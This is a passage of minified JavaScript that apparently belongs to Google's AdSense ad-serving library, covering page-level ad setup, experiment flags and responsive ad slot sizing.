c;c=Bl();b[7]=c;a();return c}function Dl(a){return Cl(function(){Lc(w.document,a)}).promise};function El(a){var b={};return{enable_page_level_ads:(b.pltais=!0,b),google_ad_client:a}};function Fl(a){if(w.google_apltlad||w!==w.top||!a.google_ad_client)return null;w.google_apltlad=!0;var b=El(a.google_ad_client),c=b.enable_page_level_ads;Sc(a,function(d,e){Ei[e]&&"google_ad_client"!==e&&(c[e]=d)});c.google_pgb_reactive=7;if("google_ad_section"in a||"google_ad_region"in a)c.google_ad_section=a.google_ad_section||a.google_ad_region;return b}function Gl(a){return ya(a.enable_page_level_ads)&&7===a.enable_page_level_ads.google_pgb_reactive};function Hl(a,b){this.h=w;this.i=a;this.j=b}function Il(a){P(lf)?il(a.h,a.j,a.i.google_ad_client||"",function(b){var c=a.h,d=a.i;U(L).ama_ran_on_page||b&&Jl(c,d,b)}):Tj({u:a.h,Z:D(a.j,6),ta:50,Ia:function(b){return Kl(a,b)}})}function Kl(a,b){Ed(Cd(b,function(c){Ll("ok");var d=a.h,e=a.i;if(!U(L).ama_ran_on_page){var f=Dk(c);f?Jl(d,e,f):Ek(d,c)}}),function(c){return Ll(c.message)})}function Ll(a){Yi("abg::amalserr",{status:a,guarding:!0,timeout:50,rate:.01},.01)} function Jl(a,b,c){if(null!=A(c,24)){var d=Si(a);d.availableAbg=!0;var e,f;d.ablationFromStorage=!!(null==(e=G(c,ee,24))?0:null==(f=G(e,ge,3))?0:Ib(f,he,2,ie))}if(Gl(b)&&(d=wk(a,H(c,me,7)),!d||!xb(d,8)))return;U(L).ama_ran_on_page=!0;var g;if(null==(g=G(c,re,15))?0:xb(g,23))U(a).enable_overlap_observer=!0;if((g=G(c,pe,13))&&1===A(g,1)){var h=0,k=G(g,qe,6);k&&A(k,3)&&(h=A(k,3)||0);vl(a,h)}else if(null==(h=G(c,ee,24))?0:null==(k=G(h,ge,3))?0:Ib(k,he,2,ie))Si(a).ablatingThisPageview=!0,vl(a,1);kd(3, [c.toJSON()]);var l=b.google_ad_client||"";b=Bk(ya(b.enable_page_level_ads)?b.enable_page_level_ads:{});var m=Rd(Vd,new Qd(null,b));Wi(782,function(){var q=m;try{var t=wk(a,H(c,me,7)),y;if(y=t)a:{var F=wb(t,2);if(F)for(var z=0;z<F.length;z++)if(1==F[z]){y=!0;break a}y=!1}if(y){if(A(t,4)){y={};var E=new Qd(null,(y.google_package=A(t,4),y));q=Rd(q,E)}var S=new vj(a,l,c,t,q),rb=new sd;(new fk(a,S,rb)).start();rb.i.then(Fa(sl,a),Fa(tl,a))}}catch(Kc){Ak(a,{atf:-1})}})};/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 */ var Ml=ja(["https://fonts.googleapis.com/css2?family=Google+Material+Icons:wght@400;500;700"]);function Nl(a,b){return a instanceof HTMLScriptElement&&b.test(a.src)?0:1}function Ol(a){var b=L.document;if(b.currentScript)return Nl(b.currentScript,a);b=u(b.scripts);for(var c=b.next();!c.done;c=b.next())if(0===Nl(c.value,a))return 0;return 1};function Pl(a,b){var c={},d={},e={},f={};return f[fg]=(c[55]=function(){return 0===a},c[23]=function(g){return Yk(L,Number(g))},c[24]=function(g){return bl(Number(g))},c[61]=function(){return D(b,6)},c[63]=function(){return D(b,6)||".google.ch"===I(b,8)},c),f[gg]=(d[7]=function(g){try{var h=window.localStorage}catch(l){h=null}g=Number(g);g=void 0===g?0:g;g=0!==g?"google_experiment_mod"+g:"google_experiment_mod";var k=Vc(h,g);h=null===k?Wc(h,g):k;return null!=h?h:void 0},d),f[hg]=(e[6]=function(){return I(b, 15)},e),f};function Ql(a){a=void 0===a?w:a;return a.ggeac||(a.ggeac={})};function Rl(a,b){try{var c=a.split(".");a=w;for(var d=0,e;null!=a&&d<c.length;d++)e=a,a=a[c[d]],"function"===typeof a&&(a=e[c[d]]());var f=a;if(typeof f===b)return f}catch(g){}} function Sl(){var a={};this[fg]=(a[8]=function(b){try{return null!=va(b)}catch(c){}},a[9]=function(b){try{var c=va(b)}catch(d){return}if(b="function"===typeof c)c=c&&c.toString&&c.toString(),b="string"===typeof c&&-1!=c.indexOf("[native code]");return b},a[10]=function(){return window==window.top},a[6]=function(b){return Xa(O(Oh).h(),parseInt(b,10))},a[27]=function(b){b=Rl(b,"boolean");return void 0!==b?b:void 0},a[60]=function(b){try{return!!w.document.querySelector(b)}catch(c){}},a);a={};this[gg]= (a[3]=function(){return ad()},a[6]=function(b){b=Rl(b,"number");return void 0!==b?b:void 0},a[11]=function(b){b=void 0===b?"":b;var c=w;b=void 0===b?"":b;c=void 0===c?window:c;b=(c=(c=c.location.href.match(Ec)[3]||null)?decodeURI(c):c)?Tc(c+b):null;return null==b?void 0:b%1E3},a);a={};this[hg]=(a[2]=function(){return window.location.href},a[3]=function(){try{return window.top.location.hash}catch(b){return""}},a[4]=function(b){b=Rl(b,"string");return void 0!==b?b:void 0},a[10]=function(){try{var b= w.document;return b.visibilityState||b.webkitVisibilityState||b.mozVisibilityState||""}catch(c){return""}},a[11]=function(){try{var b,c,d,e,f;return null!=(f=null==(d=null==(b=va("google_tag_data"))?void 0:null==(c=b.uach)?void 0:c.fullVersionList)?void 0:null==(e=r(d,"find").call(d,function(g){return"Google Chrome"===g.brand}))?void 0:e.version)?f:""}catch(g){return""}},a)};var Tl=[12,13,20];function Ul(){}Ul.prototype.init=function(a,b,c,d){var e=this;d=void 0===d?{}:d;var f=void 0===d.Ka?!1:d.Ka,g=void 0===d.kb?{}:d.kb;d=void 0===d.mb?[]:d.mb;this.l=a;this.A={};this.G=f;this.m=g;a={};this.i=(a[b]=[],a[4]=[],a);this.j={};(b=Wh())&&Ra(b.split(",")||[],function(h){(h=parseInt(h,10))&&(e.j[h]=!0)});Ra(d,function(h){e.j[h]=!0});this.h=c;return this}; function Vl(a,b,c){var d=[],e=Wl(a.l,b),f;if(f=9!==b)a.A[b]?f=!0:(a.A[b]=!0,f=!1);if(f){var g;null==(g=a.h)||Yg(g,b,c,d,[],4);return d}if(!e.length){var h;null==(h=a.h)||Yg(h,b,c,d,[],3);return d}var k=Xa(Tl,b),l=[];Ra(e,function(q){var t=new Jg;if(q=Xl(a,q,c,t))0!==Cb(t,Kg)&&l.push(t),t=q.getId(),d.push(t),Yl(a,t,k?4:c),(q=H(q,qg,2))&&(k?oh(q,qh(),a.h,t):oh(q,[c],a.h,t))});var m;null==(m=a.h)||Yg(m,b,c,d,l,1);return d}function Yl(a,b,c){a.i[c]||(a.i[c]=[]);a=a.i[c];Xa(a,b)||a.push(b)} function Zl(a,b){a.l.push.apply(a.l,ka(Sa(Ta(b,function(c){return new Ok(c)}),function(c){return!Xa(Tl,c.V())})))} function Xl(a,b,c,d){var e=O(ah).h;if(!mg(G(b,ag,3),e))return null;var f=H(b,Ik,2),g=C(b,6,0);if(g){Bb(d,1,Kg,g);f=e[gg];switch(c){case 2:var h=f[8];break;case 1:h=f[7]}c=void 0;if(h)try{c=h(g),Ab(d,3,c)}catch(k){}return(b=$l(b,c))?am(a,[b],1):null}if(g=C(b,10,0)){Bb(d,2,Kg,g);h=null;switch(c){case 1:h=e[gg][9];break;case 2:h=e[gg][10];break;default:return null}c=h?h(String(g)):void 0;if(void 0===c&&1===C(b,11,0))return null;void 0!==c&&Ab(d,3,c);return(b=$l(b,c))?am(a,[b],1):null}d=e?Sa(f,function(k){return mg(G(k, ag,3),e)}):f;if(!d.length)return null;c=d.length*C(b,1,0);return(b=C(b,4,0))?bm(a,b,c,d):am(a,d,c/1E3)}function bm(a,b,c,d){var e=null!=a.m[b]?a.m[b]:1E3;if(0>=e)return null;d=am(a,d,c/e);a.m[b]=d?0:e-c;return d}function am(a,b,c){var d=a.j,e=Va(b,function(f){return!!d[f.getId()]});return e?e:a.G?null:Oc(b,c)} function cm(a,b){Jh(th,function(c){a.j[c]=!0},b);Jh(wh,function(c,d){return Vl(a,c,d)},b);Jh(xh,function(c){return(a.i[c]||[]).concat(a.i[4])},b);Jh(Gh,function(c){return Zl(a,c)},b);Jh(uh,function(c,d){return Yl(a,c,d)},b)}function Wl(a,b){return(a=Va(a,function(c){return c.V()==b}))&&H(a,Kk,2)||[]}function $l(a,b){var c=H(a,Ik,2),d=c.length,e=C(a,8,0);a=d*C(a,1,0)-1;b=void 0!==b?b:Math.floor(1E3*Rc());d=(b-e)%d;if(b<e||b-e-d>=a)return null;c=c[d];e=O(ah).h;return!c||e&&!mg(G(c,ag,3),e)?null:c};function dm(){this.h=function(){}}function em(a){O(dm).h(a)};var fm,gm,hm,im,jm,km; function lm(a,b,c,d){var e=1;d=void 0===d?Ql():d;e=void 0===e?0:e;var f=void 0===f?new Tg(null!=(im=null==(fm=G(a,Qk,5))?void 0:C(fm,2,0))?im:0,null!=(jm=null==(gm=G(a,Qk,5))?void 0:C(gm,4,0))?jm:0,null!=(km=null==(hm=G(a,Qk,5))?void 0:D(hm,3))?km:!1):f;d.hasOwnProperty("init-done")?(Kh(Gh,d)(Ta(H(a,Ok,2),function(g){return g.toJSON()})),Kh(Hh,d)(Ta(H(a,qg,1),function(g){return g.toJSON()}),e),b&&Kh(Ih,d)(b),mm(d,e)):(cm(O(Ul).init(H(a,Ok,2),e,f,c),d),Lh(d),Mh(d),Nh(d),mm(d,e),oh(H(a,qg,1),[e],f, void 0,!0),bh=bh||!(!c||!c.hb),em(O(Sl)),b&&em(b))}function mm(a,b){a=void 0===a?Ql():a;b=void 0===b?0:b;var c=a,d=b;d=void 0===d?0:d;Ph(O(Oh),c,d);nm(a,b);O(dm).h=Kh(Ih,a);O(yf).m()}function nm(a,b){var c=O(yf);c.i=function(d,e){return Kh(zh,a,function(){return!1})(d,e,b)};c.j=function(d,e){return Kh(Ah,a,function(){return 0})(d,e,b)};c.l=function(d,e){return Kh(Bh,a,function(){return""})(d,e,b)};c.h=function(d,e){return Kh(Ch,a,function(){return[]})(d,e,b)};c.m=function(){Kh(vh,a)(b)}};function om(a,b,c){var d=U(a);if(d.plle)mm(Ql(a),1);else{d.plle=!0;try{var e=a.localStorage}catch(f){e=null}d=e;null==Vc(d,"goog_pem_mod")&&Wc(d,"goog_pem_mod");d=G(b,Mk,12);e=D(b,9);lm(d,Pl(c,b),{Ka:e&&!!a.google_disable_experiments,hb:e},Ql(a));if(c=I(b,15))c=Number(c),O(Oh).l(c);if(c=I(b,10))c=Number(c),O(Oh).i(c);b=u(wb(b,19));for(c=b.next();!c.done;c=b.next())c=c.value,O(Oh).i(c);O(Oh).j(12);O(Oh).j(10);a=Ic(a)||a;yl(a.location,"google_mc_lab")&&O(Oh).i(44738307)}};function pm(a,b,c){a=a.style;a.border="none";a.height=c+"px";a.width=b+"px";a.margin=0;a.padding=0;a.position="relative";a.visibility="visible";a.backgroundColor="transparent"};var qm={"120x90":!0,"160x90":!0,"180x90":!0,"200x90":!0,"468x15":!0,"728x15":!0};function rm(a,b){if(15==b){if(728<=a)return 728;if(468<=a)return 468}else if(90==b){if(200<=a)return 200;if(180<=a)return 180;if(160<=a)return 160;if(120<=a)return 120}return null};function V(a,b,c,d){d=void 0===d?!1:d;wi.call(this,a,b);this.da=c;this.ib=d}v(V,wi);V.prototype.pa=function(){return this.da};V.prototype.i=function(a,b,c){b.google_ad_resize||(c.style.height=this.height()+"px",b.rpe=!0)};function sm(a){return function(b){return!!(b.da&a)}};var tm={},um=(tm.image_stacked=1/1.91,tm.image_sidebyside=1/3.82,tm.mobile_banner_image_sidebyside=1/3.82,tm.pub_control_image_stacked=1/1.91,tm.pub_control_image_sidebyside=1/3.82,tm.pub_control_image_card_stacked=1/1.91,tm.pub_control_image_card_sidebyside=1/3.74,tm.pub_control_text=0,tm.pub_control_text_card=0,tm),vm={},wm=(vm.image_stacked=80,vm.image_sidebyside=0,vm.mobile_banner_image_sidebyside=0,vm.pub_control_image_stacked=80,vm.pub_control_image_sidebyside=0,vm.pub_control_image_card_stacked= 85,vm.pub_control_image_card_sidebyside=0,vm.pub_control_text=80,vm.pub_control_text_card=80,vm),xm={},ym=(xm.pub_control_image_stacked=100,xm.pub_control_image_sidebyside=200,xm.pub_control_image_card_stacked=150,xm.pub_control_image_card_sidebyside=250,xm.pub_control_text=100,xm.pub_control_text_card=150,xm); function zm(a){var b=0;a.T&&b++;a.J&&b++;a.K&&b++;if(3>b)return{M:"Tags data-matched-content-ui-type, data-matched-content-columns-num and data-matched-content-rows-num should be set together."};b=a.T.split(",");var c=a.K.split(",");a=a.J.split(",");if(b.length!==c.length||b.length!==a.length)return{M:'Lengths of parameters data-matched-content-ui-type, data-matched-content-columns-num and data-matched-content-rows-num must match. Example: \n data-matched-content-rows-num="4,2"\ndata-matched-content-columns-num="1,6"\ndata-matched-content-ui-type="image_stacked,image_card_sidebyside"'}; if(2<b.length)return{M:"The parameter length of attribute data-matched-content-ui-type, data-matched-content-columns-num and data-matched-content-rows-num is too long. At most 2 parameters for each attribute are needed: one for mobile and one for desktop, while you are providing "+(b.length+' parameters. Example: \n data-matched-content-rows-num="4,2"\ndata-matched-content-columns-num="1,6"\ndata-matched-content-ui-type="image_stacked,image_card_sidebyside".')};for(var d=[],e=[],f=0;f<b.length;f++){var g= Number(c[f]);if(r(Number,"isNaN").call(Number,g)||0===g)return{M:"Wrong value '"+c[f]+"' for data-matched-content-rows-num."};d.push(g);g=Number(a[f]);if(r(Number,"isNaN").call(Number,g)||0===g)return{M:"Wrong value '"+a[f]+"' for data-matched-content-columns-num."};e.push(g)}return{K:d,J:e,Na:b}} function Am(a){return 1200<=a?{width:1200,height:600}:850<=a?{width:a,height:Math.floor(.5*a)}:550<=a?{width:a,height:Math.floor(.6*a)}:468<=a?{width:a,height:Math.floor(.7*a)}:{width:a,height:Math.floor(3.44*a)}};var Bm=Za("script");function Cm(a,b,c,d,e,f,g,h,k,l,m,q){this.A=a;this.U=b;this.da=void 0===c?null:c;this.h=void 0===d?null:d;this.P=void 0===e?null:e;this.i=void 0===f?null:f;this.j=void 0===g?null:g;this.H=void 0===h?null:h;this.N=void 0===k?null:k;this.l=void 0===l?null:l;this.m=void 0===m?null:m;this.O=void 0===q?null:q;this.R=this.C=this.G=null}Cm.prototype.size=function(){return this.U}; function Dm(a,b,c){null!=a.da&&(c.google_responsive_formats=a.da);null!=a.P&&(c.google_safe_for_responsive_override=a.P);null!=a.i&&(!0===a.i?c.google_full_width_responsive_allowed=!0:(c.google_full_width_responsive_allowed=!1,c.gfwrnwer=a.i));null!=a.j&&!0!==a.j&&(c.gfwrnher=a.j);var d=a.m||c.google_ad_width;null!=d&&(c.google_resizing_width=d);d=a.l||c.google_ad_height;null!=d&&(c.google_resizing_height=d);d=a.size().h(b);var e=a.size().height();if(!c.google_ad_resize){c.google_ad_width=d;c.google_ad_height= e;var f=a.size();b=f.h(b)+"x"+f.height();c.google_ad_format=b;c.google_responsive_auto_format=a.A;null!=a.h&&(c.armr=a.h);c.google_ad_resizable=!0;c.google_override_format=1;c.google_loader_features_used=128;!0===a.i&&(c.gfwrnh=a.size().height()+"px")}null!=a.H&&(c.gfwroml=a.H);null!=a.N&&(c.gfwromr=a.N);null!=a.l&&(c.gfwroh=a.l);null!=a.m&&(c.gfwrow=a.m);null!=a.O&&(c.gfwroz=a.O);null!=a.G&&(c.gml=a.G);null!=a.C&&(c.gmr=a.C);null!=a.R&&(c.gzi=a.R);b=Ic(window)||window;yl(b.location,"google_responsive_dummy_ad")&& (Xa([1,2,3,4,5,6,7,8],a.A)||1===a.h)&&2!==a.h&&(a=JSON.stringify({googMsgType:"adpnt",key_value:[{key:"qid",value:"DUMMY_AD"}]}),c.dash="<"+Bm+">window.top.postMessage('"+a+"', '*');\n </"+Bm+'>\n <div id="dummyAd" style="width:'+d+"px;height:"+e+'px;\n background:#ddd;border:3px solid #f00;box-sizing:border-box;\n color:#000;">\n <p>Requested size:'+d+"x"+e+"</p>\n <p>Rendered size:"+d+"x"+e+"</p>\n </div>")};var Em=["google_content_recommendation_ui_type","google_content_recommendation_columns_num","google_content_recommendation_rows_num"];function Fm(a,b){wi.call(this,a,b)}v(Fm,wi);Fm.prototype.h=function(a){return Math.min(1200,Math.max(this.minWidth(),Math.round(a)))}; function Gm(a,b){Hm(a,b);if("pedestal"==b.google_content_recommendation_ui_type)return new Cm(9,new Fm(a,Math.floor(a*b.google_phwr)));var c=Cc();468>a?c?(c=a-8-8,c=Math.floor(c/1.91+70)+Math.floor(11*(c*um.mobile_banner_image_sidebyside+wm.mobile_banner_image_sidebyside)+96),a={aa:a,$:c,J:1,K:12,T:"mobile_banner_image_sidebyside"}):(a=Am(a),a={aa:a.width,$:a.height,J:1,K:13,T:"image_sidebyside"}):(a=Am(a),a={aa:a.width,$:a.height,J:4,K:2,T:"image_stacked"});Im(b,a);return new Cm(9,new Fm(a.aa,a.$))} function Jm(a,b){Hm(a,b);var c=zm({K:b.google_content_recommendation_rows_num,J:b.google_content_recommendation_columns_num,T:b.google_content_recommendation_ui_type});if(c.M)a={aa:0,$:0,J:0,K:0,T:"image_stacked",M:c.M};else{var d=2===c.Na.length&&468<=a?1:0;var e=c.Na[d];e=0===e.indexOf("pub_control_")?e:"pub_control_"+e;var f=ym[e];for(var g=c.J[d];a/g<f&&1<g;)g--;f=g;c=c.K[d];d=Math.floor(((a-8*f-8)/f*um[e]+wm[e])*c+8*c+8);a=1500<a?{width:0,height:0,rb:"Calculated slot width is too large: "+a}: 1500<d?{width:0,height:0,rb:"Calculated slot height is too large: "+d}:{width:a,height:d};a={aa:a.width,$:a.height,J:f,K:c,T:e}}if(a.M)throw new T(a.M);Im(b,a);return new Cm(9,new Fm(a.aa,a.$))}function Hm(a,b){if(0>=a)throw new T("Invalid responsive width from Matched Content slot "+b.google_ad_slot+": "+a+". Please ensure to put this Matched Content slot into a non-zero width div container.");} function Im(a,b){a.google_content_recommendation_ui_type=b.T;a.google_content_recommendation_columns_num=b.J;a.google_content_recommendation_rows_num=b.K};function Km(a,b){wi.call(this,a,b)}v(Km,wi);Km.prototype.h=function(){return this.minWidth()};Km.prototype.i=function(a,b,c){vi(a,c);b.google_ad_resize||(c.style.height=this.height()+"px",b.rpe=!0)};var Lm={"image-top":function(a){return 600>=a?284+.414*(a-250):429},"image-middle":function(a){return 500>=a?196-.13*(a-250):164+.2*(a-500)},"image-side":function(a){return 500>=a?205-.28*(a-250):134+.21*(a-500)},"text-only":function(a){return 500>=a?187-.228*(a-250):130},"in-article":function(a){return 420>=a?a/1.2:460>=a?a/1.91+130:800>=a?a/4:200}};function Mm(a,b){wi.call(this,a,b)}v(Mm,wi);Mm.prototype.h=function(){return Math.min(1200,this.minWidth())}; function Nm(a,b,c,d,e){var f=e.google_ad_layout||"image-top";if("in-article"==f){var g=a;if("false"==e.google_full_width_responsive)a=g;else if(a=qi(b,c,g,.2,e),!0!==a)e.gfwrnwer=a,a=g;else if(a=Wf(b))if(e.google_full_width_responsive_allowed=!0,c.parentElement){b:{g=c;for(var h=0;100>h&&g.parentElement;++h){for(var k=g.parentElement.childNodes,l=0;l<k.length;++l){var m=k[l];if(m!=g&&ti(b,m))break b}g=g.parentElement;g.style.width="100%";g.style.height="auto"}}vi(b,c)}else a=g;else a=g}if(250>a)throw new T("Fluid responsive ads must be at least 250px wide: availableWidth="+ a);a=Math.min(1200,Math.floor(a));if(d&&"in-article"!=f){f=Math.ceil(d);if(50>f)throw new T("Fluid responsive ads must be at least 50px tall: height="+f);return new Cm(11,new wi(a,f))}if("in-article"!=f&&(d=e.google_ad_layout_key)){f=""+d;b=Math.pow(10,3);if(d=(c=f.match(/([+-][0-9a-z]+)/g))&&c.length){e=[];for(g=0;g<d;g++)e.push(parseInt(c[g],36)/b);b=e}else b=null;if(!b)throw new T("Invalid data-ad-layout-key value: "+f);f=(a+-725)/1E3;c=0;d=1;e=b.length;for(g=0;g<e;g++)c+=b[g]*d,d*=f;f=Math.ceil(1E3* c- -725+10);if(isNaN(f))throw new T("Invalid height: height="+f);if(50>f)throw new T("Fluid responsive ads must be at least 50px tall: height="+f);if(1200<f)throw new T("Fluid responsive ads must be at most 1200px tall: height="+f);return new Cm(11,new wi(a,f))}d=Lm[f];if(!d)throw new T("Invalid data-ad-layout value: "+f);c=Ai(c,b);b=Wf(b);b="in-article"!==f||c||a!==b?Math.ceil(d(a)):Math.ceil(1.25*d(a));return new Cm(11,"in-article"==f?new Mm(a,b):new wi(a,b))};function Om(a){return function(b){for(var c=a.length-1;0<=c;--c)if(!a[c](b))return!1;return!0}}function Pm(a,b){for(var c=Qm.slice(0),d=c.length,e=null,f=0;f<d;++f){var g=c[f];if(a(g)){if(!b||b(g))return g;null===e&&(e=g)}}return e};var W=[new V(970,90,2),new V(728,90,2),new V(468,60,2),new V(336,280,1),new V(320,100,2),new V(320,50,2),new V(300,600,4),new V(300,250,1),new V(250,250,1),new V(234,60,2),new V(200,200,1),new V(180,150,1),new V(160,600,4),new V(125,125,1),new V(120,600,4),new V(120,240,4),new V(120,120,1,!0)],Qm=[W[6],W[12],W[3],W[0],W[7],W[14],W[1],W[8],W[10],W[4],W[15],W[2],W[11],W[5],W[13],W[9],W[16]];function Rm(a,b,c,d,e){"false"==e.google_full_width_responsive?c={D:a,F:1}:"autorelaxed"==b&&e.google_full_width_responsive||Sm(b)||e.google_ad_resize?(b=ri(a,c,d,e),c=!0!==b?{D:a,F:b}:{D:Wf(c)||a,F:!0}):c={D:a,F:2};b=c.F;return!0!==b?{D:a,F:b}:d.parentElement?{D:c.D,F:b}:{D:a,F:b}} function Tm(a,b,c,d,e){var f=Wi(247,function(){return Rm(a,b,c,d,e)}),g=f.D;f=f.F;var h=!0===f,k=K(d.style.width),l=K(d.style.height),m=Um(g,b,c,d,e,h);g=m.Y;h=m.W;var q=m.pa;m=m.Ma;var t=Vm(b,q),y,F=(y=xi(d,c,"marginLeft",K))?y+"px":"",z=(y=xi(d,c,"marginRight",K))?y+"px":"";y=xi(d,c,"zIndex")||"";return new Cm(t,g,q,null,m,f,h,F,z,l,k,y)}function Sm(a){return"auto"==a||/^((^|,) *(horizontal|vertical|rectangle) *)+$/.test(a)} function Um(a,b,c,d,e,f){b="auto"==b?.25>=a/Math.min(1200,Wf(c))?4:3:pi(b);var g=!1,h=!1;if(488>Wf(c)){var k=ki(d,c);var l=Ai(d,c);g=!l&&k;h=l&&k}l=[yi(a),sm(b)];l.push(zi(488>Wf(c),c,d,h));null!=e.google_max_responsive_height&&l.push(Ci(e.google_max_responsive_height));var m=[function(t){return!t.ib}];if(g||h)g=Di(c,d),m.push(Ci(g));var q=Pm(Om(l),Om(m));if(!q)throw new T("No slot size for availableWidth="+a);l=Wi(248,function(){var t;a:if(f){if(e.gfwrnh&&(t=K(e.gfwrnh))){t={Y:new Km(a,t),W:!0}; break a}t=a/1.2;var y=Math;var F=y.min;if(e.google_resizing_allowed||"true"==e.google_full_width_responsive)var z=Infinity;else{z=d;var E=Infinity;do{var S=xi(z,c,"height",K);S&&(E=Math.min(E,S));(S=xi(z,c,"maxHeight",K))&&(E=Math.min(E,S))}while((z=z.parentElement)&&"HTML"!=z.tagName);z=E}y=F.call(y,t,z);if(y<.5*t||100>y)y=t;P(hf)&&!Ai(d,c)&&(y=Math.max(y,.5*Vf(c).clientHeight));t={Y:new Km(a,Math.floor(y)),W:y<t?102:!0}}else t={Y:q,W:100};return t});g=l.Y;l=l.W;return"in-article"===e.google_ad_layout&& Wm(c)?{Y:Xm(a,c,d,g,e),W:!1,pa:b,Ma:k}:{Y:g,W:l,pa:b,Ma:k}}function Vm(a,b){if("auto"==a)return 1;switch(b){case 2:return 2;case 1:return 3;case 4:return 4;case 3:return 5;case 6:return 6;case 5:return 7;case 7:return 8}throw Error("bad mask");}function Xm(a,b,c,d,e){var f=e.google_ad_height||xi(c,b,"height",K);b=Nm(a,b,c,f,e).size();return b.minWidth()*b.height()>a*d.height()?new V(b.minWidth(),b.height(),1):d}function Wm(a){return P(ff)||a.location&&"#hffwroe2etoq"==a.location.hash};function Ym(a,b,c,d,e){var f;(f=Wf(b))?488>Wf(b)?b.innerHeight>=b.innerWidth?(e.google_full_width_responsive_allowed=!0,vi(b,c),f={D:f,F:!0}):f={D:a,F:5}:f={D:a,F:4}:f={D:a,F:10};var g=f;f=g.D;g=g.F;if(!0!==g||a==f)return new Cm(12,new wi(a,d),null,null,!0,g,100);a=Um(f,"auto",b,c,e,!0);return new Cm(1,a.Y,a.pa,2,!0,g,a.W)};function Zm(a,b){var c=b.google_ad_format;if("autorelaxed"==c){a:{if("pedestal"!=b.google_content_recommendation_ui_type)for(a=u(Em),c=a.next();!c.done;c=a.next())if(null!=b[c.value]){b=!0;break a}b=!1}return b?9:5}if(Sm(c))return 1;if("link"===c)return 4;if("fluid"==c){if(c="in-article"===b.google_ad_layout)c=P(gf)||P(ff)||a.location&&("#hffwroe2etop"==a.location.hash||"#hffwroe2etoq"==a.location.hash);return c?($m(b),1):8}if(27===b.google_reactive_ad_format)return $m(b),1} function an(a,b,c,d,e){e=b.offsetWidth||(c.google_ad_resize||(void 0===e?!1:e))&&xi(b,d,"width",K)||c.google_ad_width||0;4===a&&(c.google_ad_format="auto",a=1);var f=(f=bn(a,e,b,c,d))?f:Tm(e,c.google_ad_format,d,b,c);f.size().i(d,c,b);Dm(f,e,c);1!=a&&(a=f.size().height(),b.style.height=a+"px")} function bn(a,b,c,d,e){var f=d.google_ad_height||xi(c,e,"height",K);switch(a){case 5:return f=Wi(247,function(){return Rm(b,d.google_ad_format,e,c,d)}),a=f.D,f=f.F,!0===f&&b!=a&&vi(e,c),!0===f?d.google_full_width_responsive_allowed=!0:(d.google_full_width_responsive_allowed=!1,d.gfwrnwer=f),Gm(a,d);case 9:return Jm(b,d);case 8:return Nm(b,e,c,f,d);case 10:return Ym(b,e,c,f,d)}}function $m(a){a.google_ad_format="auto";a.armr=3};function cn(a,b){var c=Ic(b);if(c){c=Wf(c);var d=Nc(a,b)||{},e=d.direction;if("0px"===d.width&&"none"!==d.cssFloat)return-1;if("ltr"===e&&c)return Math.floor(Math.min(1200,c-a.getBoundingClientRect().left));if("rtl"===e&&c)return a=b.document.body.getBoundingClientRect().right-a.getBoundingClientRect().right,Math.floor(Math.min(1200,c-a-Math.floor((c-b.document.body.clientWidth)/2)))}return-1};var dn=ja(["https://pagead2.googlesyndication.com/pagead/managed/js/adsense/","/slotcar_library",".js"]),en=ja(["https://googleads.g.doubleclick.net/pagead/html/","/","/zrt_lookup.html"]),fn=ja(["https://pagead2.googlesyndication.com/pagead/managed/js/adsense/","/show_ads_impl",".js"]),gn=ja(["https://pagead2.googlesyndication.com/pagead/managed/js/adsense/","/show_ads_impl_with_ama",".js"]),hn=ja(["https://pagead2.googlesyndication.com/pagead/managed/js/adsense/","/show_ads_impl_instrumented",".js"]);function jn(a){Ui.Ta(function(b){b.shv=String(a);b.mjsv="m202204040101";var c=O(Oh).h(),d=U(w);d.eids||(d.eids=[]);b.eid=c.concat(d.eids).join(",")})};function kn(a){var b=a.nb;return a.eb||("dev"===b?"dev":"")};var ln={},mn=(ln.google_ad_modifications=!0,ln.google_analytics_domain_name=!0,ln.google_analytics_uacct=!0,ln.google_pause_ad_requests=!0,ln.google_user_agent_client_hint=!0,ln);function nn(a){return(a=a.innerText||a.innerHTML)&&(a=a.replace(/^\s+/,"").split(/\r?\n/,1)[0].match(/^\x3c!--+(.*?)(?:--+>)?\s*$/))&&RegExp("google_ad_client").test(a[1])?a[1]:null} function on(a){if(a=a.innerText||a.innerHTML)if(a=a.replace(/^\s+|\s+$/g,"").replace(/\s*(\r?\n)+\s*/g,";"),(a=a.match(/^\x3c!--+(.*?)(?:--+>)?$/)||a.match(/^\/*\s*<!\[CDATA\[(.*?)(?:\/*\s*\]\]>)?$/i))&&RegExp("google_ad_client").test(a[1]))return a[1];return null} function pn(a){switch(a){case "true":return!0;case "false":return!1;case "null":return null;case "undefined":break;default:try{var b=a.match(/^(?:'(.*)'|"(.*)")$/);if(b)return b[1]||b[2]||"";if(/^[-+]?\d*(\.\d+)?$/.test(a)){var c=parseFloat(a);return c===c?c:void 0}}catch(d){}}};function qn(a){if(a.google_ad_client)return String(a.google_ad_client);var b,c,d,e,f;if(null!=(e=null!=(d=null==(b=U(a).head_tag_slot_vars)?void 0:b.google_ad_client)?d:null==(c=a.document.querySelector(".adsbygoogle[data-ad-client]"))?void 0:c.getAttribute("data-ad-client")))b=e;else{b:{b=a.document.getElementsByTagName("script");a=a.navigator&&a.navigator.userAgent||"";a=RegExp("appbankapppuzdradb|daumapps|fban|fbios|fbav|fb_iab|gsa/|messengerforios|naver|niftyappmobile|nonavigation|pinterest|twitter|ucbrowser|yjnewsapp|youtube", "i").test(a)||/i(phone|pad|pod)/i.test(a)&&/applewebkit/i.test(a)&&!/version|safari/i.test(a)&&!qd()?nn:on;for(c=b.length-1;0<=c;c--)if(d=b[c],!d.google_parsed_script_for_pub_code&&(d.google_parsed_script_for_pub_code=!0,d=a(d))){b=d;break b}b=null}if(b){a=/(google_\w+) *= *(['"]?[\w.-]+['"]?) *(?:;|$)/gm;for(c={};d=a.exec(b);)c[d[1]]=pn(d[2]);b=c.google_ad_client?c.google_ad_client:""}else b=""}return null!=(f=b)?f:""};var rn="undefined"===typeof sttc?void 0:sttc;function sn(a){var b=Ui;try{return Yf(a,Zf),new Rk(JSON.parse(a))}catch(c){b.I(838,c instanceof Error?c:Error(String(c)),void 0,function(d){d.jspb=String(a)})}return new Rk};var tn=O(yf).h(mf.h,mf.defaultValue);function un(){var a=L.document;a=void 0===a?window.document:a;ed(tn,a)};var vn=O(yf).h(nf.h,nf.defaultValue);function wn(){var a=L.document;a=void 0===a?window.document:a;ed(vn,a)};var xn=ja(["https://pagead2.googlesyndication.com/pagead/js/err_rep.js"]);function 